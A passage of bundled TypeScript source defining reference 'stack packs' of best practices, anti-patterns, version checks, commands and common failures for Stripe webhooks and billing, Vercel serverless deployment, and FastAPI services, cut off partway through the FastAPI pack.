'stripe.check-livemode-and-type',\n title: 'Branch on a whitelist of event.type and honour event.livemode',\n detail:\n 'Switch on the specific event.type values you handle and ignore the rest instead of assuming a shape. Check event.livemode so a test-mode event can never mutate production data, and keep separate signing secrets per environment.',\n severity: 'medium',\n appliesTo: ['billing', 'service'],\n },\n {\n id: 'stripe.restricted-keys-and-rotation',\n title: 'Use restricted API keys with least privilege and rotate on exposure',\n detail:\n 'For scoped integrations use a Restricted Key limited to the resources it needs rather than the full secret key. Store keys in a secret manager, inject at runtime, and rotate immediately (and audit) if a key is ever printed to logs or a client bundle.',\n severity: 'high',\n appliesTo: ['billing', 'config', 'env'],\n },\n {\n id: 'stripe.link-customer-metadata',\n title: 'Link Stripe customers to your users via a stored customer id',\n detail:\n 'Create one Stripe Customer per user, persist its id on your user row, and pass client_reference_id / metadata on sessions so webhook events map back to the right account. Reconcile subscription state from customer.subscription.* events rather than trusting a single checkout.',\n severity: 'medium',\n appliesTo: ['billing', 'service', 'schema'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'stripe.anti.parse-body-before-verify',\n title: 'Parsing the webhook body (JSON) before constructEvent',\n detail:\n 'Any express.json()/req.json() or reserialization before verification changes the exact bytes Stripe signed, so constructEvent throws \"No signatures found matching...\". Mount the raw-body parser only on the webhook route and verify before parsing.',\n severity: 'critical',\n appliesTo: ['billing', 'api', 'middleware'],\n },\n {\n id: 'stripe.anti.secret-key-in-client',\n title: 'Using the secret key in browser/client code',\n detail:\n 'Putting STRIPE_SECRET_KEY behind NEXT_PUBLIC_/VITE_ or calling new Stripe(secret) in a client component ships full account access to every visitor. The client only ever gets the publishable key.',\n severity: 'critical',\n appliesTo: ['billing', 'component', 'env'],\n },\n {\n id: 'stripe.anti.no-idempotency',\n title: 'Creating charges/subscriptions without idempotency protection',\n detail:\n 'Without a Stripe-Idempotency-Key on writes and without event.id dedupe on webhooks, a retry (yours or Stripe\\'s) double-charges the customer or double-provisions. Both layers are required.',\n severity: 'critical',\n appliesTo: ['billing', 'service'],\n },\n {\n id: 'stripe.anti.trust-client-amount',\n title: 'Charging an amount that came from the client',\n detail:\n 'Reading price/quantity from the request body and charging it lets an attacker rewrite the total. Resolve amounts from server-side Price ids or a server-computed cart.',\n severity: 'critical',\n appliesTo: ['billing', 'api'],\n },\n {\n id: 'stripe.anti.fulfil-on-redirect',\n title: 'Granting access on the checkout success URL alone',\n detail:\n 'The success redirect can be skipped or replayed and is not proof of payment. Provision only on the verified webhook; use the redirect for a thank-you page.',\n severity: 'high',\n appliesTo: ['billing', 'route', 'service'],\n },\n {\n id: 'stripe.anti.log-card-data',\n title: 'Logging raw card/PII or full event payloads',\n detail:\n 'Never log PANs, CVCs, or full customer PII; besides PCI scope this leaks data into log stores. Use Stripe Elements/Checkout so raw card data never touches your server, and log ids not payloads.',\n severity: 'high',\n appliesTo: ['billing', 'service'],\n },\n {\n id: 'stripe.anti.blocking-webhook',\n title: 'Doing slow work synchronously inside the webhook handler',\n detail:\n 'Long synchronous fulfilment (emails, provisioning, third-party calls) inside the handler risks exceeding Stripe\\'s timeout, so Stripe marks it failed and redelivers, multiplying the work. Return 200 fast and defer.',\n severity: 'medium',\n appliesTo: ['billing', 'service'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'stripe',\n supported: '^19',\n note: 'Stripe Node SDK 19.x. Verify webhooks with webhooks.constructEvent over the raw body, pin apiVersion in the constructor, and pass idempotencyKey on mutating requests.',\n },\n {\n pkg: '@stripe/stripe-js',\n supported: '^4',\n note: 'Browser SDK that loads Stripe.js with the publishable key for Elements / redirectToCheckout. It never sees the secret key.',\n },\n {\n pkg: '@stripe/react-stripe-js',\n supported: '^3',\n note: 'React bindings (Elements provider, PaymentElement) for collecting payment details client-side so raw card data never reaches your server (keeps you out of PCI SAQ-D scope).',\n },\n {\n pkg: 'typescript',\n supported: '^5',\n note: 'TypeScript 5.x for the strict flags (noUncheckedIndexedAccess, verbatimModuleSyntax) and the discriminated Stripe.Event union the SDK ships.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'stripe.fail.webhook-no-signatures',\n signature:\n 'Webhook Error: No signatures found matching the expected signature for payload / \"Webhook payload must be provided as a string or a Buffer instance\"',\n cause:\n 'The request body was parsed or reserialized (express.json(), req.json()) before stripe.webhooks.constructEvent, so it no longer matches the bytes Stripe signed — or the wrong STRIPE_WEBHOOK_SECRET was used.',\n fix: 'Capture the raw body on the webhook route only (express.raw({ type: \"application/json\" }) or req.text()), pass it plus the stripe-signature header to constructEvent, and confirm the signing secret matches this endpoint/environment.',\n },\n {\n id: 'stripe.fail.double-charge-on-retry',\n signature: 'A customer is charged twice / a subscription is created twice after a retry or a duplicate webhook',\n cause:\n 'The create call had no Stripe-Idempotency-Key, and/or the webhook handler did not dedupe on event.id, so a retried request or redelivered event ran the mutation again.',\n fix: 'Attach { idempotencyKey } to create requests and persist processed event.id values (unique constraint / SET NX), short-circuiting duplicate deliveries before any charge or provisioning.',\n },\n {\n id: 'stripe.fail.api-version-mismatch',\n signature: 'A webhook handler suddenly reads undefined fields / a property moved or was renamed after an SDK upgrade',\n cause: 'apiVersion was not pinned in the constructor, so upgrading the stripe package shifted the API version and reshaped payloads.',\n fix: 'Pin { apiVersion } in new Stripe(...), and when intentionally upgrading it, replay real events against the handlers and update the field access before rolling out.',\n },\n {\n id: 'stripe.fail.fulfilment-not-triggered',\n signature: 'Payment succeeded in the Stripe dashboard but the user never got access / the order was not fulfilled',\n cause: 'Fulfilment was tied to the browser success redirect, which the user never completed, instead of the verified webhook.',\n fix: 'Move provisioning into the checkout.session.completed / payment_intent.succeeded webhook handler (plus the async_payment_* events for delayed methods) and reconcile any missed events from the Stripe dashboard event log.',\n },\n {\n id: 'stripe.fail.webhook-timeout-retries',\n signature: 'The Stripe dashboard shows webhook deliveries failing/timing out and being retried, with duplicated side effects',\n cause: 'The handler did slow synchronous work (emails, third-party calls) and exceeded Stripe\\'s delivery timeout, so Stripe marked it failed and redelivered.',\n fix: 'Verify, persist the event, and return 200 immediately, then process fulfilment asynchronously on a queue keyed by event.id.',\n },\n {\n id: 'stripe.fail.test-key-in-live',\n signature: 'Error: \"No such customer\" / \"a similar object exists in test mode, but a live mode key was used\" (or the reverse)',\n cause: 'A test-mode object id was used with a live-mode key (or vice versa); the two modes are isolated and their ids do not cross over.',\n fix: 'Use one key pair and one webhook signing secret per environment, gate on event.livemode, and never mix sk_test_/sk_live_ keys across environments.',\n },\n];\n\n/**\n * The Stripe payments reference pack. Matches when the detected stack advertises\n * a `stripe` deployment target, or is a JS/TS app on a server-capable framework.\n */\nexport const stripePack: StackPack = {\n id: 'stripe-payments',\n name: 'Stripe (Node SDK 19) — payments & billing',\n matches: (stack) =>\n stack.deploymentTargets.includes('stripe') ||\n (JS_LANGUAGES.includes(stack.language) && STRIPE_FRAMEWORKS.includes(stack.framework)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'stripe@^19',\n '@stripe/stripe-js@^4',\n '@stripe/react-stripe-js@^3',\n 'zod@^3',\n 'typescript@^5',\n 'vitest@^2',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm add stripe',\n 'pnpm add @stripe/stripe-js @stripe/react-stripe-js',\n 'pnpm dlx stripe login',\n 'pnpm dlx stripe listen --forward-to localhost:3000/api/webhooks/stripe',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec vitest run',\n 'pnpm dlx stripe trigger checkout.session.completed',\n 'pnpm dlx stripe trigger payment_intent.succeeded',\n ],\n qualityGates: [\n 'Every webhook route verifies the signature against the raw body with webhooks.constructEvent and returns 400 on failure.',\n 'Inbound webhooks are deduped on event.id (unique DB column or Redis SET NX) so fulfilment runs exactly once.',\n 'All mutating API calls (PaymentIntents, Checkout Sessions, subscriptions, refunds) pass a Stripe-Idempotency-Key.',\n 'The secret key is read only in server code and never carries a NEXT_PUBLIC_/VITE_ prefix; the client uses the publishable key.',\n 'apiVersion is pinned in the Stripe constructor.',\n 'Order amounts are resolved from server-side Prices/Products, never from a client-supplied amount.',\n 'Access is granted from the verified webhook, not the checkout success redirect.',\n 'Unit/integration tests cover signature verification, duplicate-event handling, and the subscription lifecycle events.',\n ],\n securityNotes: [\n 'Verify webhooks with stripe.webhooks.constructEvent(rawBody, stripe-signature header, STRIPE_WEBHOOK_SECRET) over the UNPARSED body; a parsed body always fails verification.',\n 'The signing secret (STRIPE_WEBHOOK_SECRET) is per-endpoint and per-environment — store it in a secret manager, never commit it, and rotate on exposure.',\n 'Keep the secret/restricted key server-only; a leaked key is full (or scoped) account access and must be rotated immediately.',\n 'Use Stripe Elements / Checkout so raw card data (PAN/CVC) never touches your server, keeping you out of PCI SAQ-D scope; never log card data or full event payloads.',\n 'Dedupe on event.id and use Stripe-Idempotency-Key on writes so retries can never double-charge or double-provision.',\n 'Honour event.livemode and keep separate keys/secrets per environment so a test event can never mutate production.',\n 'Resolve prices from server-side Price/Product ids so a tampered client cannot control the amount charged.',\n ],\n deploymentNotes: [\n 'Register a production webhook endpoint in the Stripe dashboard and store its signing secret as STRIPE_WEBHOOK_SECRET; each environment (prod/preview/dev) needs its own endpoint and secret.',\n 'Run the webhook handler on a Node runtime (the SDK needs Node crypto) — on Vercel/Next set export const runtime = \"nodejs\".',\n 'Inject STRIPE_SECRET_KEY and STRIPE_WEBHOOK_SECRET from a secret manager at runtime; never bake them into an image or client bundle.',\n 'Use `stripe listen --forward-to` for local development and `stripe trigger` in CI to exercise handlers without real charges.',\n 'Enable automatic retries on your side idempotently, and monitor the dashboard event log to reconcile any webhook deliveries that failed permanently.',\n ],\n commonFailures,\n};\n","/**\n * Vercel (deployment platform) reference stack pack.\n *\n * Real, current (2026) guidance for shipping a Next.js / Vite front-end (and its\n * serverless + edge functions) to Vercel: the serverless execution model\n * (ephemeral, stateless, frozen after the response), runtime selection\n * (Node vs Edge), function duration/memory limits, per-environment env vars and\n * the client-bundle secret rule, ISR/caching headers, Cron Jobs, and Skew\n * Protection. Anchored to Next.js 15 and the Node 22 runtime.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Vercel targets JS/TS front-end frameworks. A `vercel` deployment-target hint\n// force-matches it regardless of framework.\nconst VERCEL_FRAMEWORKS = ['nextjs', 'react', 'vite'];\nconst JS_LANGUAGES = ['typescript', 'javascript'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'vercel.env-per-environment',\n title: 'Scope environment variables to Production / Preview / Development',\n detail:\n 'Set each variable in the correct Vercel environment scope and keep secrets unprefixed (no NEXT_PUBLIC_/VITE_). Preview deployments can run untrusted PR code, so keep production secrets and the production database out of Preview.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'vercel.secret-never-client-prefix',\n title: 'Never expose a secret through a client-inlined env prefix',\n detail:\n 'NEXT_PUBLIC_ / VITE_ variables are inlined into the browser bundle at build time. Server-only secrets (API keys, database URLs, signing secrets) must stay unprefixed and be read only in server code (Route Handlers, Server Actions, serverless functions).',\n severity: 'critical',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'vercel.pick-runtime-deliberately',\n title: 'Choose the Node runtime for Node-only dependencies; Edge for low-latency IO',\n detail:\n 'The Edge runtime is a Web-standard sandbox without Node built-ins (fs, crypto in the Node sense, most native modules). Declare export const runtime = \"nodejs\" for handlers using the Stripe SDK, Node crypto, or Prisma\\'s Node engine; reserve Edge for lightweight, globally-distributed logic.',\n severity: 'high',\n appliesTo: ['api', 'service', 'config'],\n },\n {\n id: 'vercel.respect-function-limits',\n title: 'Design functions around the duration and payload limits',\n detail:\n 'Serverless functions have a maxDuration and memory ceiling and a response body size limit. Configure maxDuration where a route legitimately needs it, stream large responses, and move long-running jobs to a queue or Cron rather than holding a request open.',\n severity: 'high',\n appliesTo: ['api', 'service', 'config'],\n },\n {\n id: 'vercel.stateless-functions',\n title: 'Treat functions as stateless and ephemeral',\n detail:\n 'Each invocation may run on a fresh, read-only-except-/tmp instance and is frozen the moment you send the response. Persist state to a database / KV / blob store; never rely on in-process caches surviving requests or on background work continuing after the response.',\n severity: 'high',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'vercel.cache-headers-and-isr',\n title: 'Cache intentionally with ISR and Cache-Control / stale-while-revalidate',\n detail:\n 'Use Next revalidate (ISR) or explicit Cache-Control: s-maxage + stale-while-revalidate so the Vercel Edge CDN serves cached content and revalidates in the background. Mark truly dynamic responses no-store; never cache a response that sets per-user auth cookies.',\n severity: 'medium',\n appliesTo: ['route', 'api', 'config'],\n },\n {\n id: 'vercel.config-in-vercel-json',\n title: 'Declare rewrites, headers, redirects and crons in vercel.json',\n detail:\n 'Keep routing rewrites/redirects, security headers, and scheduled Cron Jobs (crons) in vercel.json (or next.config) so they are versioned and reviewable, rather than configured ad hoc in the dashboard.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'vercel.secure-cron-endpoints',\n title: 'Authenticate Cron Job endpoints',\n detail:\n 'A Cron Job just hits a public URL on a schedule, so that URL is reachable by anyone. Verify a shared CRON_SECRET (Vercel sends it as an Authorization header) inside the handler and reject unauthenticated calls before doing work.',\n severity: 'high',\n appliesTo: ['api', 'service', 'auth'],\n },\n {\n id: 'vercel.preview-isolation',\n title: 'Point Preview deployments at non-production data',\n detail:\n 'Wire Preview env vars to a test-mode Stripe key and a branch/preview database so preview builds and untrusted PR code never read or mutate production data.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'vercel.monorepo-root-directory',\n title: 'Set the correct Root Directory (and framework preset) for a monorepo',\n detail:\n 'For a pnpm/turbo monorepo configure the project Root Directory to the app package and let Vercel detect the framework; rely on Turborepo remote caching and Ignored Build Step to skip builds when only unrelated packages changed.',\n severity: 'low',\n appliesTo: ['config'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'vercel.anti.secret-in-public-var',\n title: 'Putting a secret behind NEXT_PUBLIC_ / VITE_',\n detail:\n 'A prefixed variable is inlined into the client bundle and shipped to every visitor. Drop the prefix, read it server-side, and rotate any key that was ever exposed this way.',\n severity: 'critical',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'vercel.anti.long-running-in-function',\n title: 'Running a long job synchronously inside a request function',\n detail:\n 'Video processing, big imports, or polling loops inside a serverless function hit maxDuration and get killed mid-work. Offload to a queue, a Cron Job, or a dedicated worker and return quickly.',\n severity: 'high',\n appliesTo: ['api', 'service'],\n },\n {\n id: 'vercel.anti.work-after-response',\n title: 'Scheduling background work after the response is sent',\n detail:\n 'The function is frozen once you respond, so a fire-and-forget promise started after res.send often never completes. Do the work before responding, or hand it to a queue / durable job that runs in its own invocation.',\n severity: 'high',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'vercel.anti.filesystem-persistence',\n title: 'Writing persistent state to the function filesystem',\n detail:\n 'The bundle filesystem is read-only (only /tmp is writable, and even that is ephemeral and per-instance). Uploading to disk or writing a local SQLite file loses data between invocations — use blob storage / a managed database.',\n severity: 'high',\n appliesTo: ['service'],\n },\n {\n id: 'vercel.anti.in-memory-cache-assumption',\n title: 'Relying on an in-memory cache or module-level state across requests',\n detail:\n 'A module-level Map primed on first request is not shared across the many cold instances Vercel spins up, so hit rates are poor and instances see inconsistent data. Use a shared store (KV/Redis) for cross-request cache.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'vercel.anti.node-api-on-edge',\n title: 'Using a Node built-in / native module in an Edge function',\n detail:\n 'Importing fs, a native addon, or the Node Stripe/Prisma engine into an Edge runtime handler fails at build or runtime. Switch that handler to runtime = \"nodejs\" or use an Edge-compatible client.',\n severity: 'high',\n appliesTo: ['api', 'service'],\n },\n {\n id: 'vercel.anti.unauthenticated-cron',\n title: 'Exposing a Cron endpoint with no auth check',\n detail:\n 'Because the cron path is a normal public URL, leaving it unauthenticated lets anyone trigger the job (spam email, duplicate billing). Require the CRON_SECRET before executing.',\n severity: 'high',\n appliesTo: ['api', 'auth'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'vercel',\n supported: '^39',\n note: 'The Vercel CLI (vercel dev / vercel deploy / vercel env pull). Pull env vars locally with `vercel env pull .env.local` so local runs mirror the deployed environment.',\n },\n {\n pkg: 'next',\n supported: '^15',\n note: 'Next.js 15 is the reference framework on Vercel; runtime is selected per Route Handler with export const runtime = \"nodejs\" | \"edge\".',\n },\n {\n pkg: 'node',\n supported: '>=22',\n note: 'The Node serverless runtime is Node 22.x in 2026 (set in project settings / package.json engines). Match your local Node major to avoid build/runtime drift.',\n },\n {\n pkg: '@vercel/kv',\n supported: '^3',\n note: 'Managed Redis-compatible KV for cross-invocation cache/state that survives the stateless function model (or use @vercel/blob for files, @vercel/postgres for SQL).',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'vercel.fail.function-timeout',\n signature: 'FUNCTION_INVOCATION_TIMEOUT / 504 — \"Task timed out after N seconds\"',\n cause: 'The serverless function ran past its maxDuration doing long synchronous work.',\n fix: 'Raise maxDuration only if the work is legitimately short-bounded; otherwise move the job to a Cron Job or a queue/worker and return immediately. Stream long responses instead of buffering.',\n },\n {\n id: 'vercel.fail.edge-node-api',\n signature: 'Build/runtime error: \"A Node.js module is loaded (\\'fs\\'/\\'crypto\\') which is not supported in the Edge Runtime\"',\n cause: 'An Edge-runtime function imported a Node built-in or a Node-only library (Stripe SDK, Prisma Node engine).',\n fix: 'Add export const runtime = \"nodejs\" to that handler, or swap in an Edge-compatible client. Keep Stripe/Prisma/crypto work on the Node runtime.',\n },\n {\n id: 'vercel.fail.env-missing-at-runtime',\n signature: 'process.env.X is undefined in the deployed function though it works locally',\n cause: 'The variable was not set for that environment scope (Production vs Preview), or a NEXT_PUBLIC_ build-time var was expected to change at runtime.',\n fix: 'Add the variable to the matching Vercel environment and redeploy; remember NEXT_PUBLIC_/VITE_ vars are baked at build time, so change them and rebuild rather than expecting runtime overrides.',\n },\n {\n id: 'vercel.fail.readonly-filesystem',\n signature: 'EROFS: read-only file system, open \\'...\\' / uploaded files disappear between requests',\n cause: 'Code wrote to the function filesystem (anywhere but /tmp), or relied on /tmp persisting across invocations.',\n fix: 'Write only to /tmp for scratch and persist real data to @vercel/blob or a managed database; never assume local files survive.',\n },\n {\n id: 'vercel.fail.background-task-dropped',\n signature: 'A fire-and-forget task (email, log flush) started after the response never runs in production',\n cause: 'The function was frozen/suspended immediately after sending the response, so the un-awaited promise was discarded.',\n fix: 'Await the work before responding, or enqueue it to a durable queue/Cron that executes in its own invocation.',\n },\n {\n id: 'vercel.fail.stale-chunk-404',\n signature: 'ChunkLoadError / 404 on a _next/static asset for users mid-session after a new deploy',\n cause: 'A client on the old build requested a hashed chunk that the new immutable deployment no longer serves.',\n fix: 'Enable Skew Protection so in-flight clients keep resolving to their original deployment, and handle ChunkLoadError by prompting a reload.',\n },\n];\n\n/**\n * The Vercel deployment reference pack. Matches when the detected stack\n * advertises a `vercel` deployment target, or is a JS/TS front-end framework.\n */\nexport const vercelPack: StackPack = {\n id: 'vercel-deploy',\n name: 'Vercel — serverless & edge deployment',\n matches: (stack) =>\n stack.deploymentTargets.includes('vercel') ||\n (JS_LANGUAGES.includes(stack.language) && VERCEL_FRAMEWORKS.includes(stack.framework)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'vercel@^39',\n 'next@^15',\n '@vercel/kv@^3',\n '@vercel/blob@^0.27',\n '@vercel/analytics@^1',\n 'typescript@^5',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm add -g vercel',\n 'pnpm dlx vercel link',\n 'pnpm dlx vercel env pull .env.local',\n 'pnpm dlx vercel dev',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec next build',\n 'pnpm dlx vercel build',\n ],\n qualityGates: [\n 'No secret is exposed through a NEXT_PUBLIC_/VITE_ variable (audit env + the built client bundle).',\n 'Each Route Handler / function declares the correct runtime (nodejs for Node-only deps, edge for lightweight IO).',\n 'Long-running work is offloaded to a Cron Job or queue; no request function relies on exceeding maxDuration or on work after the response.',\n 'Functions persist state to a database / KV / blob store, not the local filesystem or module-level memory.',\n 'Cron endpoints verify CRON_SECRET before executing.',\n 'Preview deployments use non-production secrets and database.',\n 'Cache-Control / ISR revalidation is set intentionally, and responses that set auth cookies are no-store.',\n '`next build` / `vercel build` completes and the deployment preview passes smoke tests before promotion.',\n ],\n securityNotes: [\n 'NEXT_PUBLIC_/VITE_ variables are inlined into the browser bundle at build time — never prefix a secret with them; read secrets only in server code.',\n 'Scope secrets to the right environment and keep production secrets out of Preview, which may execute untrusted PR code.',\n 'Store secrets in Vercel Environment Variables (encrypted) or an external secret manager; pull them locally with `vercel env pull`, never commit .env files.',\n 'Authenticate Cron Job handlers with CRON_SECRET (sent by Vercel as an Authorization header) since the cron URL is publicly reachable.',\n 'Set security headers (CSP, X-Content-Type-Options, Referrer-Policy) via vercel.json/next.config, and never cache a response that carries per-user auth cookies at the Edge CDN.',\n ],\n deploymentNotes: [\n 'Vercel deployments are immutable and atomic; promote a passing Preview to Production and roll back by re-promoting a previous deployment.',\n 'Enable Skew Protection so clients mid-session keep hitting the deployment they loaded, avoiding ChunkLoadError after a new release.',\n 'For a monorepo set the project Root Directory to the app package and use Turborepo remote caching + Ignored Build Step to skip unaffected builds.',\n 'The Node serverless runtime is Node 22.x — align local Node and package.json engines; select edge only for handlers with no Node dependencies.',\n 'Use @vercel/kv / @vercel/blob / a managed Postgres for state; the function filesystem is read-only except an ephemeral /tmp.',\n ],\n commonFailures,\n};\n","/**\n * FastAPI (Python) reference stack pack.\n *\n * Real, current (2026) guidance for a FastAPI service on Python 3.12+ with\n * Pydantic v2 and SQLAlchemy 2.0. The pack is organised around the mistakes that\n * bite in production: blocking calls inside async def (which stall the single\n * event loop), leaking fields by returning ORM rows without a response_model,\n * the Pydantic v1 -> v2 / BaseSettings move, the lifespan handler replacing the\n * deprecated on_event, and JWT verification with a pinned algorithm.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\nconst bestPractices: Rule[] = [\n {\n id: 'fastapi.no-blocking-in-async',\n title: 'Never call blocking I/O inside an async def path operation',\n detail:\n 'FastAPI runs async endpoints on a single event loop; a blocking call (a sync DB driver, requests, time.sleep, heavy CPU) stalls every concurrent request. Use async libraries (httpx, an async DB driver), or define the endpoint as a plain def so FastAPI runs it in a threadpool, or offload with run_in_threadpool.',\n severity: 'critical',\n appliesTo: ['api', 'service'],\n },\n {\n id: 'fastapi.response-model-guards-output',\n title: 'Declare a response_model / typed return so you never leak fields',\n detail:\n 'Return a Pydantic response schema (or annotate the return type) so FastAPI filters the payload to declared fields. Returning an ORM object or a dict directly can expose password hashes, internal flags, or relations you never meant to serialise.',\n severity: 'high',\n appliesTo: ['api', 'schema', 'service'],\n },\n {\n id: 'fastapi.pydantic-v2-validation',\n title: 'Validate every request body/query with Pydantic v2 models',\n detail:\n 'Type path/query/body params with Pydantic v2 models (or Annotated + Field/Query) so FastAPI validates and coerces input and returns a structured 422 on bad data. Treat the schema as the trust boundary — do not read raw request bodies to bypass it.',\n severity: 'high',\n appliesTo: ['api', 'schema'],\n },\n {\n id: 'fastapi.dependency-injection',\n title: 'Use Depends for auth, DB sessions, and shared resources',\n detail:\n 'Express cross-cutting concerns (current user, database session, settings) as dependencies with Depends. Yield-based dependencies give deterministic setup/teardown (closing the session), and dependencies compose and are overridable in tests.',\n severity: 'medium',\n appliesTo: ['api', 'service', 'auth'],\n },\n {\n id: 'fastapi.lifespan-not-on-event',\n title: 'Manage startup/shutdown with the lifespan context manager',\n detail:\n 'Use the lifespan async context manager passed to FastAPI(lifespan=...) to open/close pools, warm caches, and register clients. The @app.on_event(\"startup\"/\"shutdown\") decorators are deprecated and do not compose with sub-apps.',\n severity: 'medium',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'fastapi.settings-from-env',\n title: 'Load configuration from the environment with pydantic-settings',\n detail:\n 'Define a BaseSettings subclass (from pydantic-settings in v2) to read and validate config from environment variables / secret files at startup, failing fast on a missing required secret. Never hardcode secrets or read os.environ scattered across the code.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'fastapi.jwt-pin-algorithm',\n title: 'Verify JWTs with an explicitly pinned algorithm',\n detail:\n 'Call jwt.decode(token, key, algorithms=[\"RS256\"]) with the exact allowed algorithm(s). Never accept a list mixing RS256 and HS256 (algorithm-confusion), and never allow alg \"none\". Validate exp/aud/iss and check scopes/roles for authorization.',\n severity: 'critical',\n appliesTo: ['auth', 'api', 'middleware'],\n },\n {\n id: 'fastapi.async-sqlalchemy-2',\n title: 'Use SQLAlchemy 2.0 async sessions with an async driver end-to-end',\n detail:\n 'Pair create_async_engine + async_sessionmaker with an async driver (asyncpg) and await every query. Scope one AsyncSession per request via a dependency and eager-load relationships you serialise so lazy access does not fire outside the async context.',\n severity: 'high',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'fastapi.offload-heavy-work',\n title: 'Push heavy or slow work to a real task queue',\n detail:\n 'BackgroundTasks are fine for short, fire-and-forget follow-ups tied to a response, but CPU-bound or long jobs belong on a durable queue (Celery, ARQ, Dramatiq) so a worker restart does not lose them and the API stays responsive.',\n severity: 'medium',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'fastapi.cors-scoped',\n title: 'Configure CORS narrowly, not with a wildcard plus credentials',\n detail:\n 'Add CORSMiddleware with an explicit allow_origins list for the browsers that call the API. allow_origins=[\"*\"] together with allow_credentials=True is rejected by browsers and is unsafe — enumerate the real origins.',\n severity: 'medium',\n appliesTo: ['middleware', 'config'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'fastapi.anti.blocking-call-in-async',\n title: 'A blocking/sync call inside an async def endpoint',\n detail:\n 'requests.get(), a sync SQLAlchemy session, or time.sleep() inside async def blocks the event loop so throughput collapses under load. Use an async client, a plain def endpoint (threadpool), or run_in_threadpool.',\n severity: 'critical',\n appliesTo: ['api', 'service'],\n },\n {\n id: 'fastapi.anti.return-orm-directly',\n title: 'Returning an ORM model / raw dict without a response schema',\n detail:\n 'Serialising a SQLAlchemy row directly leaks every column (including secrets and relations) and couples the API to the DB shape. Map to a Pydantic response model with only the intended fields.',\n severity: 'high',\n appliesTo: ['api', 'schema'],\n },\n {\n id: 'fastapi.anti.on-event-deprecated',\n title: 'Using @app.on_event(\"startup\"/\"shutdown\")',\n detail:\n 'These decorators are deprecated, run in a fragile order, and do not work with mounted sub-apps. Move initialisation/cleanup into the lifespan context manager.',\n severity: 'medium',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'fastapi.anti.unpinned-jwt-alg',\n title: 'Decoding a JWT without pinning the algorithm',\n detail:\n 'Omitting algorithms=, or allowing both RS256 and HS256, enables algorithm-confusion attacks where an attacker signs a token using the public key as an HMAC secret. Always pin the exact algorithm and reject \"none\".',\n severity: 'critical',\n appliesTo: ['auth', 'api'],\n },\n {\n id: 'fastapi.anti.sync-driver-async-endpoint',\n title: 'Mixing a sync DB driver/session into async request handling',\n detail:\n 'Using a sync psycopg2 session inside async endpoints blocks the loop and, with async SQLAlchemy, lazy attribute access outside the session raises MissingGreenlet. Use an async engine/session and eager-load what you serialise.',\n severity: 'high',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'fastapi.anti.secrets-in-code',\n title: 'Hardcoding secrets or scattering os.environ reads',\n detail:\n 'Literal API keys/passwords in source (or ad-hoc os.environ[\"X\"] with no validation) leak into version control and fail silently when unset. Centralise config in a validated BaseSettings loaded at startup.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'fastapi.anti.broad-except-swallow',\n title: 'Catching bare Exception and returning 200/None',\n detail:\n 'A broad try/except that swallows errors hides failures and returns misleading success. Let FastAPI map known errors via HTTPException / exception handlers, and log the unexpected ones with a 500.',\n severity: 'medium',\n appliesTo: ['api', 'service'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'fastapi',\n supported: '>=0.115,<1',\n note: 'FastAPI 0.115.x on Starlette. Uses the lifespan handler (on_event is deprecated) and Annotated dependencies; pair with Pydantic v2.',\n },\n {\n pkg: 'pydantic',\n supported: '^2',\n note: 'Pydantic v2 (Rust core). BaseSettings moved to the separate pydantic-settings package; validators use field_validator/model_validator and .model_dump()/.model_validate().',\n },\n {\n pkg: 'pydantic-settings',\n supported: '^2',\n note: 'Provides BaseSettings for v2 — env/secret loading with validation. Required because pydantic v2 removed BaseSettings from the core package.',\n },\n {\n pkg: 'uvicorn',\n supported: '^0.32',\n note: 'ASGI server (uvicorn[standard]). In production run under a process manager (uvicorn workers or Gunicorn with the uvicorn worker class) for multiple processes.',\n },\n {\n pkg: 'sqlalchemy',\n supported: '^2',\n note: 'SQLAlchemy 2.0 async (create_async_engine + async_sessionmaker) with the asyncpg driver; the 2.0 select()/Mapped typing style.',\n },\n {\n pkg: 'python',\n supported: '>=3.12',\n note: 'Python 3.12+ for current typing, performance, and library support; match the interpreter used in the container base image.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'fastapi.fail.event-loop-blocked',\n signature: 'Throughput collapses / requests queue up under load though CPU is idle; endpoints serialise instead of running concurrently',\n cause: 'A blocking call (sync DB driver, requests, time.sleep, CPU-bound work) runs inside an async def, stalling the single event loop.',\n fix: 'Use an async client/driver, make the endpoint a plain def so it runs in the threadpool, or wrap the blocking call in run_in_threadpool; move CPU-heavy work to a worker/queue.',\n },\n {\n id: 'fastapi.fail.pydantic-v1-v2-break',\n signature: 'ImportError: \"BaseSettings has been moved to pydantic-settings\" / PydanticUserError about @validator or .dict()',\n cause: 